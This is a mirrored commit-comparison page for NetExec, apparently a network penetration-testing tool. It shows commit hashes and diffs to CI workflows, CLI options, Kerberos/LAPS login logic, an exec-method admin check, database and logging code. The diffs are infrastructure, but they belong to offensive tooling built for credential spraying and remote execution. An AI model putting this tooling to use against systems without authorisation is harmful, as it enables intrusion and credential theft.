mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-08 02:08:18 -10:00
Compare commits
344
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6e8a073150 | ||
|
|
f8ad43d882 | ||
|
|
d246decfa6 | ||
|
|
4d462ccfb8 | ||
|
|
ae9194039a | ||
|
|
ea35093fbb | ||
|
|
78da498846 | ||
|
|
1b495cd372 | ||
|
|
9e6ba5a4c0 | ||
|
|
3e5d825852 | ||
|
|
6f7c4dbc1a | ||
|
|
110f61bc3b | ||
|
|
a382fbd492 | ||
|
|
b5e9f1f069 | ||
|
|
7f3233008d | ||
|
|
8e421046d1 | ||
|
|
623bfd9fe2 | ||
|
|
cc659638c8 | ||
|
|
d6e77d19c6 | ||
|
|
536cede147 | ||
|
|
d4a17c00a0 | ||
|
|
c312367b34 | ||
|
|
5bcf955bb3 | ||
|
|
46cd610fb0 | ||
|
|
7e90ad2c0f | ||
|
|
ed0b03917e | ||
|
|
6564038d51 | ||
|
|
743a84dbe6 | ||
|
|
4612df869e | ||
|
|
ae4317c955 | ||
|
|
a798bb69c2 | ||
|
|
6d4fdfdb2d | ||
|
|
a493c04e14 | ||
|
|
485f72043e | ||
|
|
9e61764282 | ||
|
|
8211c33765 | ||
|
|
8485417358 | ||
|
|
c7164b6c3f | ||
|
|
e583d5fbed | ||
|
|
15f84fd93d | ||
|
|
c2130aa67f | ||
|
|
95ac3716d7 | ||
|
|
c1f7ed3310 | ||
|
|
a0e0df2394 | ||
|
|
94605f18e7 | ||
|
|
d61eec0146 | ||
|
|
b59d8238f5 | ||
|
|
83a16b654b | ||
|
|
3ce7b6b37a | ||
|
|
b81ea6cb3a | ||
|
|
a7141ae6f3 | ||
|
|
0da4cf8455 | ||
|
|
e4a9352379 | ||
|
|
7a86d0f045 | ||
|
|
dadeff939d | ||
|
|
a3bc425e9f | ||
|
|
c1780a1a26 | ||
|
|
50a5b6b0de | ||
|
|
a4ad6895c1 | ||
|
|
43da2afa58 | ||
|
|
c1589955fd | ||
|
|
5a0f1a5a6a | ||
|
|
0dcfc7399b | ||
|
|
567b2bf7cc | ||
|
|
ed0187391c | ||
|
|
092a14f1fe | ||
|
|
6fa13820dc | ||
|
|
85b2b6e084 | ||
|
|
754ca2d423 | ||
|
|
f17a61f531 | ||
|
|
e1c66357d6 | ||
|
|
c2dfa67c6c | ||
|
|
27313a00b6 | ||
|
|
90cc0e57d7 | ||
|
|
7729139d10 | ||
|
|
41681ee1cb | ||
|
|
bbb9d15e66 | ||
|
|
4ea4b5f961 | ||
|
|
998b8787a6 | ||
|
|
b5f9e131ee | ||
|
|
f396ff0b66 | ||
|
|
1eafa319bc | ||
|
|
c1308e6186 | ||
|
|
e737dd6aca | ||
|
|
555347752a | ||
|
|
f95b9354b7 | ||
|
|
74d7d07b1f | ||
|
|
fbfbcc3baa | ||
|
|
79ecfa8a4d | ||
|
|
4ae6c195f0 | ||
|
|
62b535ea50 | ||
|
|
84aa78898b | ||
|
|
8c5b3617e8 | ||
|
|
9031589f0d | ||
|
|
a877047ba2 | ||
|
|
6f24858dc0 | ||
|
|
1a38a288df | ||
|
|
aef2675cee | ||
|
|
b48f6945ae | ||
|
|
4cd46c7fd9 | ||
|
|
fadce581ef | ||
|
|
1e624d8606 | ||
|
|
c23db63b97 | ||
|
|
6b5eb1a240 | ||
|
|
e9ed46b6e0 | ||
|
|
f05601f645 | ||
|
|
8c39962dba | ||
|
|
ff194d3e0b | ||
|
|
f47ebb3356 | ||
|
|
04a695ff93 | ||
|
|
ac2dfc95e7 | ||
|
|
3b1eac7be5 | ||
|
|
ad1b421422 | ||
|
|
d89709feac | ||
|
|
045f2c291b | ||
|
|
f191f780a3 | ||
|
|
78a270b57b | ||
|
|
ee549ccae7 | ||
|
|
e1ecf90a78 | ||
|
|
4e855f811f | ||
|
|
31b909b97d | ||
|
|
5da577f5c3 | ||
|
|
bb95e0faa4 | ||
|
|
1b4081e54c | ||
|
|
99d4e49ac1 | ||
|
|
d52a651bd4 | ||
|
|
6dbf14b87f | ||
|
|
cea324c97b | ||
|
|
bb2f3ec13a | ||
|
|
2eebb7c513 | ||
|
|
0dbea8e8a3 | ||
|
|
9153779671 | ||
|
|
e927f33f2b | ||
|
|
6e5929175c | ||
|
|
ea9acdcb40 | ||
|
|
7657f9603a | ||
|
|
0175be7b08 | ||
|
|
9cc44f65e7 | ||
|
|
2744a2c4ed | ||
|
|
b771c28b51 | ||
|
|
7070305e6c | ||
|
|
cafa670113 | ||
|
|
e14be335c3 | ||
|
|
3fd8598389 | ||
|
|
425ad8ea23 | ||
|
|
45a9121bb1 | ||
|
|
e4b7ea64eb | ||
|
|
9bc05e55ee | ||
|
|
0034048da4 | ||
|
|
e7acdc78e1 | ||
|
|
35b4c4c63d | ||
|
|
dfb28184a8 | ||
|
|
4a776651c1 | ||
|
|
1c19cbe836 | ||
|
|
62496a3863 | ||
|
|
4a0f0381a6 | ||
|
|
34ac854a3c | ||
|
|
2de896cb49 | ||
|
|
821f20e114 | ||
|
|
43c1d33904 | ||
|
|
24ad5e63e2 | ||
|
|
2ac0d4d543 | ||
|
|
4ac77486d0 | ||
|
|
2419d2d4d8 | ||
|
|
f9d3caab63 | ||
|
|
0cc6151a0b | ||
|
|
cd9e1adcfd | ||
|
|
675480c5ca | ||
|
|
ee9409a387 | ||
|
|
f9799496ac | ||
|
|
83514bf2a9 | ||
|
|
b9d788b8d4 | ||
|
|
b59f252363 | ||
|
|
db4c2fad2b | ||
|
|
375611cfd5 | ||
|
|
96bff4e3aa | ||
|
|
d82ee41d5b | ||
|
|
af4a28d9b9 | ||
|
|
5810d14038 | ||
|
|
739791e33b | ||
|
|
e982a68b44 | ||
|
|
66da98c318 | ||
|
|
069fb908b0 | ||
|
|
1292f0f8fb | ||
|
|
f8ac2e1ff1 | ||
|
|
1839c0cb4c | ||
|
|
e76d4e98fe | ||
|
|
506486fa62 | ||
|
|
a28c441ae2 | ||
|
|
3db14d4de4 | ||
|
|
6afb8bba0b | ||
|
|
7bb04c92b1 | ||
|
|
80d03ad3ee | ||
|
|
b4612ea38c | ||
|
|
11983af3fb | ||
|
|
41a21ee838 | ||
|
|
c0adbf1eb8 | ||
|
|
41b8fbb715 | ||
|
|
4504cf29d0 | ||
|
|
693da7120b | ||
|
|
413e5cd5d0 | ||
|
|
f18c442a10 | ||
|
|
548b6d0c28 | ||
|
|
7b3145e6ec | ||
|
|
0234219daa | ||
|
|
cb639c8854 | ||
|
|
74dcef77ce | ||
|
|
21515206b4 | ||
|
|
b9882167a3 | ||
|
|
703191308a | ||
|
|
f54deff68e | ||
|
|
43da81861f | ||
|
|
398716de24 | ||
|
|
4cb3b417d6 | ||
|
|
a1ca2697e3 | ||
|
|
8ed41498ff | ||
|
|
ab0af5ab4a | ||
|
|
6651fb0698 | ||
|
|
1839f7a5ac | ||
|
|
8a6fb7c67a | ||
|
|
a1c57ee8d2 | ||
|
|
280baadf07 | ||
|
|
766ef1e81e | ||
|
|
5ae4134ab7 | ||
|
|
2575bce0d6 | ||
|
|
3a5c109fed | ||
|
|
5b186f4295 | ||
|
|
e0faaf3dbf | ||
|
|
d071631c1a | ||
|
|
59b6bf8f76 | ||
|
|
7e52f8da69 | ||
|
|
54cad53328 | ||
|
|
e96c301721 | ||
|
|
3c64d27c68 | ||
|
|
71cb5e99ef | ||
|
|
d036fa8c04 | ||
|
|
fbf2546172 | ||
|
|
abb5f1d99a | ||
|
|
d9ce9e9b62 | ||
|
|
4045bb4185 | ||
|
|
9d8eeb80e1 | ||
|
|
f17ea75de3 | ||
|
|
18369b1739 | ||
|
|
3c89bcb19a | ||
|
|
68c827dcf6 | ||
|
|
eb6be54ff1 | ||
|
|
852e7819e5 | ||
|
|
42ce37d231 | ||
|
|
63e8295c46 | ||
|
|
b86f675100 | ||
|
|
ccbeb4e402 | ||
|
|
64e78fd7cd | ||
|
|
d8f0f41d76 | ||
|
|
9f3a77c2ab | ||
|
|
63f2d6943d | ||
|
|
c83895697f | ||
|
|
98236804ab | ||
|
|
f9b61391ca | ||
|
|
5b931d0cfa | ||
|
|
0d5ac4e59e | ||
|
|
45e1f0815f | ||
|
|
21b1cfbb8c | ||
|
|
018ad9dbe7 | ||
|
|
1f83e6393f | ||
|
|
da088d9e60 | ||
|
|
ce31e24111 | ||
|
|
aab22cf4bc | ||
|
|
6e391cad46 | ||
|
|
5f45bfcf37 | ||
|
|
592793c718 | ||
|
|
5983b86b52 | ||
|
|
449f556dc1 | ||
|
|
669a55fd98 | ||
|
|
ead02d812e | ||
|
|
cce5c32eb1 | ||
|
|
b0b4641724 | ||
|
|
8bbab764c5 | ||
|
|
4f5453ee09 | ||
|
|
9d32ea0a2b | ||
|
|
b9d73524ee | ||
|
|
e50f7acbd5 | ||
|
|
ada4905922 | ||
|
|
e13ec2776e | ||
|
|
073938f67a | ||
|
|
2ec51902a3 | ||
|
|
755113d3c7 | ||
|
|
447bded268 | ||
|
|
e7689542f2 | ||
|
|
cf8c1b19ca | ||
|
|
27caff59d5 | ||
|
|
19ea1bc559 | ||
|
|
73b35eb0ea | ||
|
|
d5bb6d9606 | ||
|
|
1e90103b4d | ||
|
|
5ccf0d3553 | ||
|
|
8132bf73d3 | ||
|
|
1105dcdf52 | ||
|
|
bfed3d462b | ||
|
|
39b877a3f1 | ||
|
|
da61939a0d | ||
|
|
3724142717 | ||
|
|
4919fe05fd | ||
|
|
6838793301 | ||
|
|
a579d2296a | ||
|
|
cc251e8b19 | ||
|
|
dcee201380 | ||
|
|
39006b1fed | ||
|
|
ea5426b468 | ||
|
|
8c2155cae5 | ||
|
|
0b5bad9ba0 | ||
|
|
c09304ef6c | ||
|
|
008c490f5b | ||
|
|
9d3bc4d071 | ||
|
|
3eaa1632c9 | ||
|
|
65fc94f8dd | ||
|
|
7b37015b62 | ||
|
|
4c5844820f | ||
|
|
27b52e2da4 | ||
|
|
d3c9d7258a | ||
|
|
fbec1c7c31 | ||
|
|
71391b11de | ||
|
|
f1894b2c6b | ||
|
|
9cf6d983e2 | ||
|
|
fbfef1b4b0 | ||
|
|
80839d850e | ||
|
|
db3e7923fb | ||
|
|
56feb10348 | ||
|
|
763cf57c18 | ||
|
|
610bad1bae | ||
|
|
0aaad63819 | ||
|
|
406507e8de | ||
|
|
6c4e8ead5e | ||
|
|
5ff488eae5 | ||
|
|
c354978fa1 | ||
|
|
50ed8279e1 | ||
|
|
f55cbf6f23 | ||
|
|
219deaf073 | ||
|
|
dffd862595 | ||
|
|
46574d41f6 | ||
|
|
1c965cb5f1 | ||
|
|
4815249c78 | ||
|
|
ae6b659749 | ||
|
|
169a7dc148 | ||
|
|
3deabf5787 |
No files matched your search
File renamed without changes.
@@ -10,12 +10,12 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.11"]
|
||||
python-version: ["3.12"]
|
||||
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Build Native Binary
|
||||
@@ -25,13 +25,13 @@ jobs:
|
||||
pyinstaller netexec.spec
|
||||
- name: Upload Windows Binary
|
||||
if: runner.os == 'windows'
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc.exe
|
||||
path: dist/nxc.exe
|
||||
- name: Upload Nix/OSx Binary
|
||||
if: runner.os != 'windows'
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc-${{ matrix.os }}
|
||||
path: dist/nxc
|
||||
@@ -10,11 +10,11 @@ jobs:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11"]
|
||||
python-version: ["3.10", "3.11", "3.12"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Build Python ZipApp with Shiv
|
||||
@@ -22,12 +22,12 @@ jobs:
|
||||
pip install shiv
|
||||
python build_collector.py
|
||||
- name: Upload nxc ZipApp
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
|
||||
path: bin/nxc
|
||||
- name: Upload nxcdb ZipApp
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
|
||||
path: bin/nxcdb
|
||||
@@ -3,6 +3,7 @@ name: Lint Python code with ruff
|
||||
|
||||
on:
|
||||
push:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
@@ -11,14 +12,14 @@ jobs:
|
||||
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.11
|
||||
python-version: 3.12
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install dependencies with dev group
|
||||
|
||||
@@ -14,14 +14,14 @@ jobs:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
|
||||
python-version: ["3.10", "3.11", "3.12"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: poetry
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||

|
||||

|
||||
[](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
|
||||
[](https://twitter.com/intent/follow?screen_name=_zblurx)
|
||||
[](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
|
||||
@@ -43,6 +43,11 @@ sudo apt install pipx git
|
||||
pipx ensurepath
|
||||
pipx install git+https://github.com/Pennyw0rth/NetExec
|
||||
```
|
||||
|
||||
## Availability on Unix distributions
|
||||
|
||||
[](https://repology.org/project/netexec/versions)
|
||||
|
||||
# Development
|
||||
Development guidelines and recommendations in development
|
||||
|
||||
|
||||
@@ -25,6 +25,7 @@ a = Analysis(
|
||||
'impacket.dcerpc.v5.lsad',
|
||||
'impacket.dcerpc.v5.gkdi',
|
||||
'impacket.dcerpc.v5.rprn',
|
||||
'impacket.dcerpc.v5.even',
|
||||
'impacket.dpapi_ng',
|
||||
'impacket.tds',
|
||||
'impacket.version',
|
||||
@@ -48,6 +49,7 @@ a = Analysis(
|
||||
'pywerview.cli.helpers',
|
||||
'pylnk3',
|
||||
'pypykatz',
|
||||
'pyNfsClient',
|
||||
'masky',
|
||||
'msldap',
|
||||
'msldap.connection',
|
||||
|
||||
+3
-4
@@ -22,11 +22,12 @@ def gen_cli_args():
|
||||
except ValueError:
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
COMMIT = ""
|
||||
CODENAME = "ItsAlwaysDNS"
|
||||
CODENAME = "NeedForSpeed"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
|
||||
|
||||
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
|
||||
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
|
||||
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
|
||||
@@ -69,8 +70,6 @@ def gen_cli_args():
|
||||
parents=[generic_parser, output_parser, dns_parser]
|
||||
)
|
||||
|
||||
parser.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
|
||||
# we do module arg parsing here so we can reference the module_list attribute below
|
||||
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
|
||||
@@ -82,7 +81,7 @@ def gen_cli_args():
|
||||
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
|
||||
|
||||
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
|
||||
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
|
||||
+19
-9
@@ -85,6 +85,8 @@ def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
|
||||
def requires_admin(func):
|
||||
def _decorator(self, *args, **kwargs):
|
||||
if self.admin_privs is False:
|
||||
if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
|
||||
return func(self, *args, **kwargs)
|
||||
return None
|
||||
return func(self, *args, **kwargs)
|
||||
|
||||
@@ -132,7 +134,7 @@ class connection:
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
|
||||
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate))
|
||||
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
self.admin_privs = False
|
||||
@@ -146,6 +148,7 @@ class connection:
|
||||
self.kdcHost = self.args.kdcHost
|
||||
self.port = self.args.port
|
||||
self.local_ip = None
|
||||
self.dns_server = self.args.dns_server
|
||||
|
||||
# DNS resolution
|
||||
dns_result = self.resolver(target)
|
||||
@@ -154,7 +157,7 @@ class connection:
|
||||
else:
|
||||
return
|
||||
|
||||
if self.args.kerberos:
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
@@ -164,6 +167,9 @@ class connection:
|
||||
except Exception as e:
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
# Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
|
||||
elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
|
||||
self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
|
||||
else:
|
||||
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
finally:
|
||||
@@ -200,13 +206,16 @@ class connection:
|
||||
def create_conn_obj(self):
|
||||
return
|
||||
|
||||
def disconnect(self):
|
||||
return
|
||||
|
||||
def check_if_admin(self):
|
||||
return
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
return
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
def plaintext_login(self, username, password):
|
||||
return
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
@@ -220,7 +229,8 @@ class connection:
|
||||
else:
|
||||
self.logger.debug("Created connection object")
|
||||
self.enum_host_info()
|
||||
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
|
||||
self.print_host_info()
|
||||
if self.login() or (self.username == "" and self.password == ""):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
@@ -228,6 +238,7 @@ class connection:
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
self.disconnect()
|
||||
|
||||
def call_cmd_args(self):
|
||||
"""Calls all the methods specified by the command line arguments
|
||||
@@ -333,6 +344,7 @@ class connection:
|
||||
data = [] # Arbitrary data needed for the login, e.g. ssh_key
|
||||
|
||||
for cred_id in self.args.cred_id:
|
||||
self.logger.debug(f"Querying database for credential ID: {cred_id}")
|
||||
if cred_id.lower() == "all":
|
||||
creds = self.db.get_credentials()
|
||||
else:
|
||||
@@ -463,8 +475,6 @@ class connection:
|
||||
return False
|
||||
if self.args.continue_on_success and owned:
|
||||
return False
|
||||
if hasattr(self.args, "delegate") and self.args.delegate:
|
||||
self.args.kerberos = True
|
||||
|
||||
if self.args.jitter:
|
||||
jitter = self.args.jitter
|
||||
@@ -479,7 +489,7 @@ class connection:
|
||||
|
||||
with sem:
|
||||
if cred_type == "plaintext":
|
||||
if self.args.kerberos:
|
||||
if self.kerberos:
|
||||
self.logger.debug("Trying to authenticate using Kerberos")
|
||||
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
|
||||
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
|
||||
@@ -492,7 +502,7 @@ class connection:
|
||||
self.logger.debug("Trying to authenticate using plaintext")
|
||||
return self.plaintext_login(username, secret)
|
||||
elif cred_type == "hash":
|
||||
if self.args.kerberos:
|
||||
if self.kerberos:
|
||||
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
|
||||
return self.hash_login(domain, username, secret)
|
||||
elif cred_type == "aesKey":
|
||||
@@ -541,7 +551,7 @@ class connection:
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
|
||||
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
|
||||
cred_type = ["plaintext"]
|
||||
if not (username[0] or secret[0] or domain[0]):
|
||||
return False
|
||||
|
||||
+72
-22
@@ -1,13 +1,19 @@
|
||||
import sys
|
||||
import configparser
|
||||
import shutil
|
||||
from sqlalchemy import create_engine
|
||||
from sqlite3 import connect
|
||||
import sys
|
||||
from os import mkdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from pathlib import Path
|
||||
from sqlite3 import connect
|
||||
from threading import Lock
|
||||
|
||||
from sqlalchemy import create_engine, MetaData
|
||||
from sqlalchemy.exc import IllegalStateChangeError
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.paths import WORKSPACE_DIR
|
||||
|
||||
|
||||
@@ -45,24 +51,8 @@ def write_configfile(config, config_path):
|
||||
config.write(configfile)
|
||||
|
||||
|
||||
def create_workspace(workspace_name, p_loader=None):
|
||||
"""
|
||||
Create a new workspace with the given name.
|
||||
|
||||
Args:
|
||||
----
|
||||
workspace_name (str): The name of the workspace.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
if exists(path_join(WORKSPACE_DIR, workspace_name)):
|
||||
print(f"[-] Workspace {workspace_name} already exists")
|
||||
else:
|
||||
print(f"[*] Creating {workspace_name} workspace")
|
||||
mkdir(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
def init_protocol_dbs(workspace_name, p_loader=None):
|
||||
"""Check for each protocol if the database exists, if not create it."""
|
||||
if p_loader is None:
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
@@ -87,6 +77,27 @@ def create_workspace(workspace_name, p_loader=None):
|
||||
conn.close()
|
||||
|
||||
|
||||
def create_workspace(workspace_name, p_loader=None):
|
||||
"""
|
||||
Create a new workspace with the given name.
|
||||
|
||||
Args:
|
||||
----
|
||||
workspace_name (str): The name of the workspace.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
if exists(path_join(WORKSPACE_DIR, workspace_name)):
|
||||
print(f"[-] Workspace {workspace_name} already exists")
|
||||
else:
|
||||
print(f"[*] Creating {workspace_name} workspace")
|
||||
mkdir(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
init_protocol_dbs(workspace_name, p_loader)
|
||||
|
||||
|
||||
def delete_workspace(workspace_name):
|
||||
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
|
||||
print(f"[*] Workspace {workspace_name} deleted")
|
||||
@@ -94,4 +105,43 @@ def delete_workspace(workspace_name):
|
||||
|
||||
def initialize_db():
|
||||
if not exists(path_join(WORKSPACE_DIR, "default")):
|
||||
create_workspace("default")
|
||||
create_workspace("default")
|
||||
|
||||
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
|
||||
init_protocol_dbs("default")
|
||||
|
||||
|
||||
class BaseDB:
|
||||
def __init__(self, db_engine):
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
session = scoped_session(session_factory)
|
||||
self.sess = session()
|
||||
self.lock = Lock()
|
||||
|
||||
def reflect_tables(self):
|
||||
raise NotImplementedError("Reflect tables not implemented")
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.sess.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.db_execute(table.delete())
|
||||
|
||||
def db_execute(self, *args):
|
||||
self.lock.acquire()
|
||||
res = self.sess.execute(*args)
|
||||
self.lock.release()
|
||||
return res
|
||||
+27
-16
@@ -5,6 +5,7 @@ import os.path
|
||||
import sys
|
||||
import re
|
||||
from nxc.console import nxc_console
|
||||
from nxc.paths import NXC_PATH
|
||||
from termcolor import colored
|
||||
from datetime import datetime
|
||||
from rich.text import Text
|
||||
@@ -21,20 +22,21 @@ def parse_debug_args():
|
||||
args, _ = debug_parser.parse_known_args()
|
||||
return args
|
||||
|
||||
|
||||
def setup_debug_logging():
|
||||
debug_args = parse_debug_args()
|
||||
root_logger = logging.getLogger("root")
|
||||
|
||||
|
||||
if debug_args.verbose:
|
||||
nxc_logger.logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
elif debug_args.debug:
|
||||
nxc_logger.logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.DEBUG)
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
|
||||
|
||||
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
|
||||
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
|
||||
@@ -46,22 +48,24 @@ def create_temp_logger(caller_frame, formatted_text, args, kwargs):
|
||||
|
||||
class SmartDebugRichHandler(RichHandler):
|
||||
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
|
||||
|
||||
def __init__(self, formatter=None, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
if formatter is not None:
|
||||
self.setFormatter(formatter)
|
||||
|
||||
|
||||
def emit(self, record):
|
||||
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
|
||||
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
|
||||
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
|
||||
|
||||
|
||||
if hasattr(record, "caller_frame"):
|
||||
frame_info = inspect.getframeinfo(record.caller_frame)
|
||||
record.pathname = frame_info.filename
|
||||
record.lineno = frame_info.lineno
|
||||
super().emit(record)
|
||||
|
||||
|
||||
def no_debug(func):
|
||||
